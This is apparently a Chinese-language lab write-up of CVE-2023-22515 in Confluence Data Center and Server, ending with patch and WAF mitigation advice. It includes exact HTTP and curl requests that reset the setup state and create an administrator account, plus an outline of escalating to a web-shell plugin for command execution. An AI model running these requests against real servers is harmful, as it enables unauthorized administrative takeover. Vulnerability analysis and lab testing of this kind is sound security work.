CVE-2023-22515是Atlassian Confluence Data Center及Server产品中发现的一个严重的(Critical) Broken Access Control漏洞。攻击者可以在未认证状态下远程重新激活服务器的初始设置过程,并通过此过程创建新的管理员账户,从而完全控制系统。
该漏洞的核心在于XWork2框架的参数绑定机制与Confluence的Action处理逻辑之间的验证不足。
攻击者可以通过URL参数将bootstrapStatusProvider.applicationConfig.setupComplete的值篡改为false。该属性是Confluence判断安装及配置是否完成的重要标志。
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: <target-ip>
发送上述请求后,服务器会在内存中认为配置尚未完成。这并不会修改永久配置文件(confluence.cfg.xml),但可以在运行时更改状态,从而绕过访问控制。
/server-info.action)并传递参数bootstrapStatusProvider.applicationConfig.setupComplete=false。/setup/*下的管理员配置页面的访问限制被解除。/setup/setupadministrator.action页面并创建新的系统管理员(System Administrator)账户。使用Docker搭建了存在漏洞的版本(8.5.1)的Confluence Server。
atlassian/confluence-server:8.5.1docker-compose.yml (摘要):
services:
confluence:
image: atlassian/confluence-server:8.5.1
ports:
- "8090:8090"
environment:
- ATL_DB_TYPE=postgresql
# ... DB配置 ...
为避免Python依赖问题,使用基于curl的Bash脚本编写并执行了PoC。
漏洞利用流程 (Exploit Flow):
重置设置状态 (Reset Setup Status):
curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
结果: 返回HTTP 302重定向响应,确认内部设置完成状态已被解除。
创建管理员 (Create Administrator):
curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
-H "X-Atlassian-Token: no-check" \
--data "username=hacked_admin&password=p@ssw0rd123&..."
结果: 通过该请求尝试创建hacked_admin账户,之后可以在登录页面使用该账户访问。
应立即升级至Atlassian提供的最新版本。
如果无法打补丁,应在网络层面(负载均衡器、WAF、反向代理等)阻止对/setup/*端点的访问。
/setup/*CVE-2023-22515获取管理员权限后,攻击者可进一步执行系统命令(RCE)。
Confluence向管理员提供插件(Add-on)安装权限。攻击者利用此权限上传包含Web Shell功能的恶意插件,从而获取服务器操作系统的控制权。
/setup/finishsetup.action等强制完成设置(需要绕过许可),或利用现有会话浏览可访问的管理菜单。Confluence Administration -> Manage Apps -> Upload App.jar文件/plugins/servlet/webshell?cmd=id)执行系统命令。本实验环境(Docker)没有有效的Confluence许可,无法完成初始设置阶段。因此,创建管理员账户的请求虽然成功(302重定向),但后续的插件菜单访问及实际RCE执行受限。在实际生产环境中,由于已注册许可,可以立即进行RCE,没有这些限制。
CVE-2023-22515是一个无需认证即可获取管理员权限的极其危险的漏洞。仅通过简单的URL参数操纵即可发起攻击,攻击难度极低。因此,使用该版本的组织应立即应用补丁或缓解措施。